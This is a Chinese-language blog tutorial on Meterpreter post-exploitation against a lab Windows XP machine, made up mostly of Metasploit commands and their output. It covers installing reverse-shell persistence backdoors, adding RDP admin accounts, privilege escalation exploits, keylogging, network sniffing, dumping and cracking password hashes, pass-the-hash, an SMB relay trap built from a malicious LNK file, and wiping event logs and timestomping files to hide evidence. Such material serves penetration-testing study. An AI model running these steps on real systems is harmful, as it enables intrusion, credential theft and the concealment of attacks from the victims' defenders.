初探Meterpreter

原创 2013年12月06日 16:57:47

上一篇文章通过BeEF和Metasploit拿到了一台XP SP1的meterpreter会话

本文就进一步通过Meterpreter来蹂躏下这台可怜的XP

文章较长,可利用目录

事先说明,本博文是在BT5r3下实现的

===================================================

1.Meterpreter是什么?


仅仅是驻留在内存的shellcode。。
大概长这个样子:


它比一般的攻击手法要好一些,一般的payload是这么工作的:

(1)用payload在被攻击者机上开一个端口A
(2)把命令行终端绑定到A上
(3)攻击者访问A,就与被攻击者机器交互


但这样的坏处:
(1)建一个新进程,容易被侦查
(2)攻击者和被攻击者之间的通信是通过端口互发送数据,容易被IDS侦查
(3)被攻击者可能chroot(change root directory),限权


meterpreter的优点:
(1)纯内存,所有的需要调用的API都是HOOK
(2)16字节一组xor加密,SSL通信封装传输
总之就是不易被发现,什么平台通用性,可拓展性都是妥妥的。。


2.Meterpreter常用命令


基本命令:
background  # 让meterpreter处于后台模式
sessions -i index   # 与会话进行交互,index表示第一个session
quit  # 退出会话
shell # 获得控制台权限
irb # 开启ruby终端

文件系统命令:
cat c:\\boot.ini   # 查看文件内容
getwd # 查看当前工作目录 work directory
upload /root/Desktop/netcat.exe c:\\ # 上传文件到目标机上
download nimeia.txt /root/Desktop/   # 下载文件到本机上
edit c:\\boot.ini  # 编辑文件
search -d c:\\windows -f *.mdb # search 文件


网络命令:
ipconfig / ifconfig # 查看网络接口信息
portfwd  add -l 5555 -p 3389 -r 192.168.198.129 # 端口转发,本机监听5555,把目标机3389转到本机5555
root@bt:~#  rdesktop -u Administrator -p 123qwe 127.0.0.1:5555
route # 获取路由表信息

系统命令:
ps # 查看当前活跃进程
migrate  pid # 将Meterpreter会话移植到进程数位pid的进程中
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
getpid # 获取当前进程的pid
kill pid # 杀死进程
getuid # 查看权限
sysinfo # 查看目标机系统信息,如机器名,操作系统等
shutdown # 关机

写到这,我们给命令们排个龙虎榜吧:

第一名:ps + migrate ,因为我们是通过IE进来的,如果IE关掉了呢?如果它再也不访问那个hook页面了,我们岂不是再也get不了shell了。。
所以应该早早移植到别的进程空间,如Explorer.exe,这它不去关掉吧。。
第二名:execute ,能cmd.exe
第三名:portfwd ,端口转发,现实中基本都是要转发的~

看官们,如果你不同意我的看法,可以评论,发表下你的观点哦~~



3.Meterpreter与后渗透攻击模块


一直以为 Meterpreter == Metasploit后渗透攻击模块,结果不是这样的。
科普下Metasploit渗透测试平台的组成:
AUX辅助模块    信息搜集 
Exploit模块    渗透攻击
后渗透模块     主机控制与拓展攻击的渗透测试全过程支持

Meterpreter 是Metasploit的一个payload,只是比较强大很多而已。它与后渗透模块的关系就是,前者是后者的实施通道
后攻击模块使用ruby写的,目标机上很可能没有ruby解释器,那怎么玩?




4.后门


1)测试是不是虚拟机:

meterpreter > run post/windows/gather/checkvm 

[*] Checking if EMASTER-8G5WOLV is a Virtual Machine .....
[*] This is a VMware Virtual Machine
如果是虚拟机,热情就下降了。。
也很可能是蜜罐。。

2)安装后门方法一:

meterpreter > run persistence -X -i 5 -p 443 -r 192.168.0.108
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/EMASTER-8G5WOLV_20131206.5032/EMASTER-8G5WOLV_20131206.5032.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=443
[*] Persistent agent script is 609628 bytes long
[+] Persistent Script written to C:\WINDOWS\TEMP\lOFkqsGGtNr.vbs
[*] Executing script C:\WINDOWS\TEMP\lOFkqsGGtNr.vbs
[+] Agent executed with PID 1888
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\tTCmdZkXLp
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\tTCmdZkXLp
然后它就在目标机的C:/windows/Temp/下建立一个vbs文件,开机会启动这个文件
上面的vbs的确存在,并且开机启动也有,但是就是有:


这个问题,百度后发现都是说出现这情况是中毒中马,然后教大家删东东,删自启动。。
为什么meterpreter出品的东西会在xp下这么容易暴露呢?
追查了下,NTVDM是win 16虚拟机的一部分,是win 为了向下兼容16位程序的虚拟机。
但是还是提到这么回事?
这里留个坑吧,路过的大神,如果看到,可以给我回答吗?


3)安装后门方法二:

meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\JszPreYrwkWEm...
[*]  >> Uploading metsrv.dll...
[*]  >> Uploading metsvc-server.exe...
[*]  >> Uploading metsvc.exe...
[*] Starting the service...
	 * Installing service metsvc
 * Starting service
Service metsvc successfully installed.

meterpreter > 
监听:31337
上传了三个dll文件
然后就在目标机器上多了一个自启动的服务:Meterpreter。。。



然后连接:
msf  exploit(handler) > use exploit/multi/handler 
msf  exploit(handler) > set payload windows/metsvc_bind_tcp 
payload => windows/metsvc_bind_tcp
msf  exploit(handler) > set RHOST 192.168.0.111
RHOST => 192.168.0.111
msf  exploit(handler) > set LPORT 31337
LPORT => 31337
msf  exploit(handler) > exploit

[*] Started bind handler
[*] Starting the payload handler...
[*] Meterpreter session 1 opened (192.168.0.108:39406 -> 192.168.0.111:31337) at 2013-12-06 14:24:29 +0800

meterpreter > 

4)getgui + 3389

觉得没什么用,不就是建立账户+加入组:''Remote Desktop Users" 和 "Administrators",然后3389连接,如果内网就portfwd。。
这里的没什么用还得对面必须开启了3389。。
meterpreter > run getgui -u aa -p 123qwe 
如果没出问题的话,应该是添加了用户aa,密码为123qwe,并把它加入到那两个组中。。
然后:
msf  exploit(handler) > rdesktop -u aa -p 123qwe 192.168.0.111:3389
连上~
如果在内网,那么就先端口转发:
portfwd  add -l 5555 -p 3389 -r 192.168.0.111 # 端口转发,本机监听5555,把目标机3389转到本机5555
root@bt:~#  rdesktop -u Administrator -p 123qwe 127.0.0.1:5555
 

5.提权


1) 直接了当:getsystem

meterpreter > getsystem -h
Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

    -h        Help Banner.
    -t <opt>  The technique to use. (Default to '0').
		0 : All techniques available
		1 : Service - Named Pipe Impersonation (In Memory/Admin)
		2 : Service - Named Pipe Impersonation (Dropper/Admin)
		3 : Service - Token Duplication (In Memory/Admin)
		4 : Exploit - KiTrap0D (In Memory/User)


meterpreter > 
getsystem会用四种方法去提权,(In Memory/Admin) 表示所需环境和初始权限。
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
system 就是最高权限了。。


2) MS10-073 键盘布局文件提权漏洞

meterpreter > background
[*] Backgrounding session 5...
msf > set session 5 
session => 5
msf > use post/windows/escalate/ms10_073_kbdlayout 
msf  post(ms10_073_kbdlayout) > exploit

[*] Attempting to elevate PID 0x278
[*] {"GetLastError"=>0, "return"=>1548}
[*] Wrote malicious keyboard layout to C:\WINDOWS\TEMP\p0wns.boom ..
[*] Allocated 0x8000 bytes of memory @ 0x60630000
[*] Initialized RWX buffer ...
[*] Current Keyboard Layout: 0x8040804
[*] Patched in syscall wrapper @ 0x60631000
[*] Successfully executed syscall wrapper!
[*] Attempting to cause the ring0 payload to execute...
[*] SendInput: {"GetLastError"=>5, "return"=>1}
[*] Post module execution completed
msf  post(ms10_073_kbdlayout) > 

3) MS10-092 Windows 任务计划服务提权漏洞

msf  post(ms10_073_kbdlayout) > back
msf > set session 5
session => 5
msf > use post/windows/escalate/ms10_092_schelevator 
msf  post(ms10_092_schelevator) > exploit

[-] Windows XP (Build 2600, Service Pack 1). is not vulnerable.
[*] Post module execution completed
msf  post(ms10_092_schelevator) > 
哎,我就可耻得只能对XP SP1下手。。这点出息。。

6.窃取信息


1) dumplink 窃取近期系统操作,访问文件等记录

meterpreter > run post/windows/gather/dumplinks 

[*] Running module against EMASTER-8G5WOLV
[*] Running as SYSTEM extracting user list...
[*] Extracting lnk files for user Administrator at C:\Documents and Settings\Administrator\Recent\...
[*] Processing: C:\Documents and Settings\Administrator\Recent\1.lnk.
[*] Processing: C:\Documents and Settings\Administrator\Recent\KaEbvZfANVE.lnk.
[*] Processing: C:\Documents and Settings\Administrator\Recent\lOFkqsGGtNr.lnk.
	[*] Processing: C:\Documents and Settings\Administrator\Recent\nimeia.lnk.
[*] Processing: C:\Documents and Settings\Administrator\Recent\pvTdNq.lnk.
[*] Processing: C:\Documents and Settings\Administrator\Recent\Temp.lnk.
[*] No Recent Office files found for user Administrator. Nothing to do.
[*] No Recent directory found for user LocalService. Nothing to do.
[*] No Recent Office files found for user LocalService. Nothing to do.
[*] No Recent directory found for user NetworkService. Nothing to do.
[*] No Recent Office files found for user NetworkService. Nothing to do.

2) 键盘记录

大部分时候会成功,如果获取不到重连一下:
meterpreter > keyscan_start 
Starting the keystroke sniffer...
meterpreter > keyscan_dump 
Dumping captured keystrokes...
dir <Return> cd  <Ctrl>  <LCtrl>  zhuomian1 <Back>  <Back>  <Back>  <Back> 11 <Back>  <Back> zhuo <Return> =-1 <Tab>  <Return>  <CapsLock> dir <Return>  <Back>  <Back>  <Back>  <Back>  <Ctrl>  <LCtrl>  dir <CapsLock>  <Back>  <Back> r <Back> ir <Return> 
meterpreter > keyscan_dump 
Dumping captured keystrokes...
 <Return>  <Return>  <N5>  <N6>  <N4>  <N5>  <N4>  <N5>  <N9>  <N1>  <N3>  xugyabq    <Back>  <Back> ihuanqiiq <Return> http://blog.csdn.net/xihuanqiqi <Ctrl>  <LCtrl> s <Back>  <Back>  <Back>  <Back> emaster <Left> -- <Back>  <Back> _ <Ctrl>  <LCtrl> s
meterpreter > keyscan_stop 
Stopping the keystroke sniffer...
meterpreter > 



3) enum_applications 补丁,更新,杀软等

meterpreterun > run post/windows/gather/enum_applications 

[*] Enumerating applications installed on EMASTER-8G5WOLV

Installed Applications
======================

 Name                              Version
 ----                              -------
 Adobe Flash Player 11 ActiveX     11.9.900.152
 VMware Tools                      8.1.4.11056
 WebFldrs XP                       9.50.6513
 Windows Installer 3.1 (KB893803)  3.1


[*] Results stored in: /root/.msf4/loot/20131206164307_default_192.168.0.111_host.application_476551.txt
meterpreter > 


  

7.系统口令窃取


1) sniffer 网络嗅探

meterpreter > use sniffer
Loading extension sniffer...success.
meterpreter > sniffer_interfaces 

1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:false wifi:false )

meterpreter > sniffer_interfaces  1

1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:false wifi:false )

meterpreter > sniffer_start  1
[*] Capture started on interface 1 (50000 packet buffer)
meterpreter > sniffer_dump  1 /tmp/xpsp1.cap
[*] Flushing packet capture buffer for interface 1...
[*] Flushed 355 packets (101378 bytes)
[*] Downloaded 100% (101378/101378)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/xpsp1.cap
meterpreter > sniffer_stop 1
[*] Capture stopped on interface 1
[*] There are 157 packets (40891 bytes) remaining
[*] Download or release them using 'sniffer_dump' or 'sniffer_release'
meterpreter > 

然后在shell中中输入:wireshark,加载这个/tmp/xpsp1.cap包即可:


2) IE 缓存


meterpreter > run post/windows/gather/enum_ie 

[*] IE Version: 6.0.2800.1106
[-] This module will only extract credentials for >= IE7
[*] Retrieving history.....
	File: C:\Documents and Settings\LocalService\Local Settings\History\History.IE5\index.dat
[*] Retrieving cookies.....
	File: C:\Documents and Settings\LocalService\Cookies\index.dat
[*] Looping through history to find autocomplete data....
[-] No autocomplete entries found in registry
[*] Looking in the Credential Store for HTTP Authentication Creds...
meterpreter > 
这里说IE7以上才有效。。

3) hash抓取并crack


在研究怎么抓hash前,先对BT5连接数据库说下:
msf  auxiliary(jtr_crack_fast) > cat /opt/metasploit/config/database.yml
[*] exec: cat /opt/metasploit/config/database.yml


#
# These settings are for the database used by the Metasploit Framework
# unstable tree included in this installer, not the commercial editions.
#
development:
  adapter: "postgresql"
  database: "msf3dev"
  username: "msf3"
  password: "4bfedfc2"
  port: 7337
  host: "localhost"
  pool: 256
  timeout: 5

production:
  adapter: "postgresql"
  database: "msf3dev"
  username: "msf3"
  password: "4bfedfc2"
  port: 7337
  host: "localhost"
  pool: 256
  timeout: 5
msf  auxiliary(jtr_crack_fast) > db_connect msf3:4bfedfc2@127.0.0.1:7337/msf3dev 
连接的格式: db_connect 用户名:密码@localhost:端口/数据库名字
这些都放在/opt/metasploit/config/database.yml中

如果遇到:gem install pg
那么是配置问题:
vi /opt/metasploit/msf3/msfconsole
change #!/usr/bin/env ruby to #!/opt/metasploit/ruby/bin/ruby in the top of msfconsole.
具体为什么这么改可参考:解决过程

至此,数据库完成,多嘴一句,每次启动msf要手动db_connect。。

普通做法一:
msf  exploit(handler) > use post/windows/gather/hashdump 
msf  post(hashdump) > set session 1
session => 1
msf  post(hashdump) > exploit

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 69f8b1cc8404c6c59864966365d3a7b8...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...


Administrator:500:daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:866b0a48f9bc08d1299a6d3c130ee922:a73c00a673fd19e25e49604cd86288fb:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:1510034a446ea318032bab987c599881:::


[*] Post module execution completed

普通做法二:
meterpreter > hashdump
Administrator:500:daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:866b0a48f9bc08d1299a6d3c130ee922:a73c00a673fd19e25e49604cd86288fb:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:1510034a446ea318032bab987c599881:::
meterpreter > 

但是这样子,这样的不好之处:
在非sysytem权限下无效。。
在win7,vista,win2008不稳定。。
在UAC(User Account Control)下失效。。

智能做法:
meterpreter > run post/windows/gather/smart_hashdump 

[*] Running module against EMASTER-8G5WOLV
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20131207144502_default_192.168.0.111_windows.hashes_582943.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*] 	Obtaining the boot key...
[*] 	Calculating the hboot key using SYSKEY 69f8b1cc8404c6c59864966365d3a7b8...
[*] 	Obtaining the user list and keys...
[*] 	Decrypting user keys...
[*] 	Dumping password hashes...
[+] 	Administrator:500:daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011:::
[+] 	HelpAssistant:1000:866b0a48f9bc08d1299a6d3c130ee922:a73c00a673fd19e25e49604cd86288fb:::
[+] 	SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:1510034a446ea318032bab987c599881:::
meterpreter > 

智能的流程(当拓展阅读看看):
检查已有权限+系统类型
检查是否为域控制器
从注册表读hash,若失败,注入LSASS进程;若域控制器,直接注入LSASS进程
若win2008+会话管理员权限,尝试使用getsystem,若在system不能注入LSASS,先migrate到system权限下的进程,继续注入LSASS
若win7/Vista+UAC关闭+会话管理员权限,尝试getsystem,读取hash
若win2003/xp/2000,直接getsystem,读取hash

查看数据库:
msf  auxiliary(jtr_crack_fast) > creds

Credentials
===========

host           port  user              pass                                                               type      active?
----           ----  ----              ----                                                               ----      -------
192.168.0.111  445   guest             aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0  smb_hash  true
192.168.0.111  445   administrator     123qwe                                                             password  true
192.168.0.111  445   guest                                                                                password  true
192.168.0.111  445   administrator     daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011  smb_hash  true
192.168.0.111  445   helpassistant     866b0a48f9bc08d1299a6d3c130ee922:a73c00a673fd19e25e49604cd86288fb  smb_hash  true
192.168.0.111  445   support_388945a0  aad3b435b51404eeaad3b435b51404ee:1510034a446ea318032bab987c599881  smb_hash  true

[*] Found 6 credentials.
msf  auxiliary(jtr_crack_fast) > 

用John The Ripper来破解:
这是一款开源的,集成多个解密算法的,针对Unix/Linux(当然也可以win)弱口令密码的破解,幸好msf集成这个大杀器。。
msf  post(hashdump) > use auxiliary/analyze/jtr_crack_fast 
msf  auxiliary(jtr_crack_fast) > exploit

[*] Seeded the password database with 6 words...
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
guesses: 1  time: 0:00:00:06 DONE (Sat Dec  7 14:36:28 2013)  c/s: 5791K  trying: WIT1900 - ZZZ1900
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
[*] Output: Loaded 4 password hashes with no different salts (LM DES [128/128 BS SSE2])
[*] Output: 123QWE           (cred_1)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
Warning: mixed-case charset, but the current hash type is case-insensitive;
some candidate passwords may be unnecessarily tried more than once.
guesses: 1  time: 0:00:00:08 DONE (Sat Dec  7 14:36:37 2013)  c/s: 18967K  trying: ||V} - |||}
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
[*] Output: Loaded 4 password hashes with no different salts (LM DES [128/128 BS SSE2])
[*] Output: Remaining 3 password hashes with no different salts
[*] Output: (cred_2)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
guesses: 0  time: 0:00:00:00 DONE (Sat Dec  7 14:36:37 2013)  c/s: 1234K  trying: 89093 - 89092
[*] Output: Loaded 4 password hashes with no different salts (LM DES [128/128 BS SSE2])
[*] Output: Remaining 2 password hashes with no different salts
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
[*] cred_1:123QWE:daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011:::

[*] cred_2::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

[*] cred_4::aad3b435b51404eeaad3b435b51404ee:1510034a446ea318032bab987c599881:::

[*] 

[*] 3 password hashes cracked, 2 left

/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)

guesses: 1  time: 0:00:00:20 DONE (Sat Dec  7 14:36:58 2013)  c/s: 10089K  trying: zydeco1900 - 123qwe1900
Use the "--show" option to display all of the cracked passwords reliably
[*] Output: Loaded 4 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])
[*] Output: 123qwe           (cred_1)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
guesses: 1  time: 0:00:00:09 DONE (Sat Dec  7 14:37:07 2013)  c/s: 17311K  trying: |||}
Use the "--show" option to display all of the cracked passwords reliably
[*] Output: Loaded 4 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])
[*] Output: Remaining 3 password hashes with no different salts
[*] Output: (cred_2)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
guesses: 0  time: 0:00:00:00 DONE (Sat Dec  7 14:37:08 2013)  c/s: 1388K  trying: 89030 - 89092
[*] Output: Loaded 4 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])
[*] Output: Remaining 2 password hashes with no different salts
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
/opt/metasploit/msf3/data/john/run.linux.x86.sse2/john: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /opt/metasploit/msf3/data/john/run.linux.x86.sse2/john)
[*] cred_1:123qwe:daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011:::

[*] cred_2::aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

[*] 

[*] 2 password hashes cracked, 2 left

[+] Cracked: administrator:123qwe (192.168.0.111:445)
[+] Cracked: guest: (192.168.0.111:445)
[*] Auxiliary module execution completed
msf  auxiliary(jtr_crack_fast) > 

可以看到,我在xp设置的弱口令密码:123qwe已经被破解出来了。。但是这个jtr对于强度较高的密码没治。。


8.内网渗透


1)添加路由

很多时候,DMZ跳内网需要跳板,msf的add route很方便就能跳板:
当前会话是1,MSF下:route 内网subnet 子网掩码 sessionID
meterpreter > run get_local_subnets
Local subnet: 192.168.0.0/255.255.255.0
meterpreter > background
[*] Backgrounding session 1...
msf  auxiliary(jtr_crack_fast) > route add 192.168.0.0 255.255.255.0 1
[*] Route added
msf  auxiliary(jtr_crack_fast) > route print

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.0.0        255.255.255.0      Session 1

msf  auxiliary(jtr_crack_fast) > 
这样子msf就成功得在会话1上添加了192.168.0.0/24 这个网段的路由,所有攻击者对这网段的流量都通过会话1转发。

2) 445端口扫描-共享文件/共享打印机服务

通俗点就是IPC$,知道了吗。。

这个我就贴出命令吧,我感觉没多大用,扫描用nmap即可。。
msf  auxiliary(jtr_crack_fast) > set RHOSTS 192.168.0.0/24 
RHOST => 192.168.0.0/24
msf  auxiliary(jtr_crack_fast) > set PORTS 445
PORTS => 445
msf  auxiliary(jtr_crack_fast) > use auxiliary/scanner/portscan/tcp 
msf  auxiliary(tcp) > run
莫名的扫不出结果,run后一直静止。。



3) psexec攻击445端口-SMB-HASH传递

msf  exploit(psexec) > use exploit/windows/smb/psexec 
msf  exploit(psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(psexec) > set LHOST 192.168.0.108
LHOST => 192.168.0.108
msf  exploit(psexec) > set LPORT 443
LPORT => 443
msf  exploit(psexec) > set RHOST 192.168.0.111
RHOST => 192.168.0.111
msf  exploit(psexec) > set SMBPass daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011
SMBPass => daa141f3639de015aad3b435b51404ee:ad70819c5bc807280974d80f45982011
msf  exploit(psexec) > exploit

[*] Started reverse handler on 192.168.0.108:443 
[*] Connecting to the server...
[*] Authenticating to 192.168.0.111:445|WORKGROUP as user ''...
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)
msf  exploit(psexec) > 

额,这是个失败的例子,但是如果有人登陆了这台机器,使用了它的SMB服务,而我们设置的SMBPass(这是在其它地方找到的hash)命中,就ok了。。
虽然是靠运气,但是,靠hash传递(而不用crack),也是个好方法。。

4) MS10-046 + MS08-068 + 自己搭建SMB服务器 坐等鱼儿上钩


搭建SMB服务器:
msf  post(droplnk) > use exploit/windows/smb/smb_relay 
msf  exploit(smb_relay) > show options

Module options (exploit/windows/smb/smb_relay):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SMBHOST                      no        The target SMB server (leave empty for originating system)
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     445              yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf  exploit(smb_relay) > set SRVHOST 192.168.0.108
SRVHOST => 192.168.0.108
msf  exploit(smb_relay) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(smb_relay) > set LHOST 192.168.0.108
LHOST => 192.168.0.108
msf  exploit(smb_relay) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.108:4444 
[*] Server started.
msf  exploit(smb_relay) > 


MS10-046 LNK快捷方式文件漏洞,貌似能提权
存在于shell32.dll当中,windows的程序加载快捷方式的图标。当图标存在于用户的DLL中时,构造恶意的LNK文件指向这个DLL。。
系统解析没做好参数验证,导致用户DLL被加载执行。。

msf  exploit(psexec) > use post/windows/escalate/droplnk 
msf  post(droplnk) > show options

Module options (post/windows/escalate/droplnk):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   ICONFILENAME  icon.png         yes       File name on LHOST's share
   LHOST                          yes       Host listening for incoming SMB/WebDAV traffic
   LNKFILENAME   Words.lnk        yes       Shortcut's filename
   SESSION                        yes       The session to run this module on.
   SHARENAME     share1           yes       Share name on LHOST

msf  post(droplnk) > set LHOST 192.168.0.108
LHOST => 192.168.0.108
msf  post(droplnk) > set session 1
session => 1
msf  post(droplnk) > exploit

[*] Creating evil LNK
[*] Done. Writing to disk - C:\WINDOWS\system32\Words.lnk
[*] Done. Wait for evil to happen..
[*] Post module execution completed
msf  post(droplnk) > 

过程:
我们把这个C:\Windows\system32\Words.lnk文件复制到内网共享文件夹中。。坐等别人点击。。
如果有人同事A点击了,这个lnk文件,就触发MS10-046漏洞。。那么A就访问我们搭建的恶意SMB服务器,这也就触发了MS08-068漏洞。。
这两个漏洞合作,让人一看就挂。。


拓展阅读:
NT LAN Manager早期SMB协议在网络上传输明文口令。后来出现 LAN Manager Challenge/Response 验证机制,简称LM,它是如此简单以至很容易就被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。
MS08-068是SMB在处理NTLM的一个漏洞。当目标机访问攻击者的恶意SMB服务器时,攻击者延时发送SMB响应,提取目标机上的NTLM的HASH对目标机进行回重放,达到身份认证的目的。。


9.毁灭证据


1) clearev

meterpreter > clearev
[*] Wiping 148 records from Application...
[*] Wiping 335 records from System...
[*] Wiping 0 records from Security...
meterpreter > 


2) timestomp

meterpreter > ls

Listing: c:\
============

Mode              Size       Type  Last modified              Name
----              ----       ----  -------------              ----
100666/rw-rw-rw-  0          fil   2013-12-07 16:44:55 +0800  1.txt.txt
100666/rw-rw-rw-  68         fil   2013-12-07 12:28:07 +0800  nimeia.txt

meterpreter > timestomp 1.txt.txt -f nimeia.txt
[*] Setting MACE attributes on 1.txt.txt from nimeia.txt
meterpreter > ls

Listing: c:\
============

Mode              Size       Type  Last modified              Name
----              ----       ----  -------------              ----
100666/rw-rw-rw-  0          fil   2013-12-07 12:28:07 +0800  1.txt.txt
100666/rw-rw-rw-  68         fil   2013-12-07 12:28:07 +0800  nimeia.txt

meterpreter > 

这样子,修改了文件的时间,也就不容易被人发觉。。






参考文献:《Metasploit渗透测试魔鬼训练营》 by 诸葛建伟

emaster,关注信息安全的胖子
欢迎转载,但请附上本文地址:http://blog.csdn.net/emaste_r/article/details/17119093





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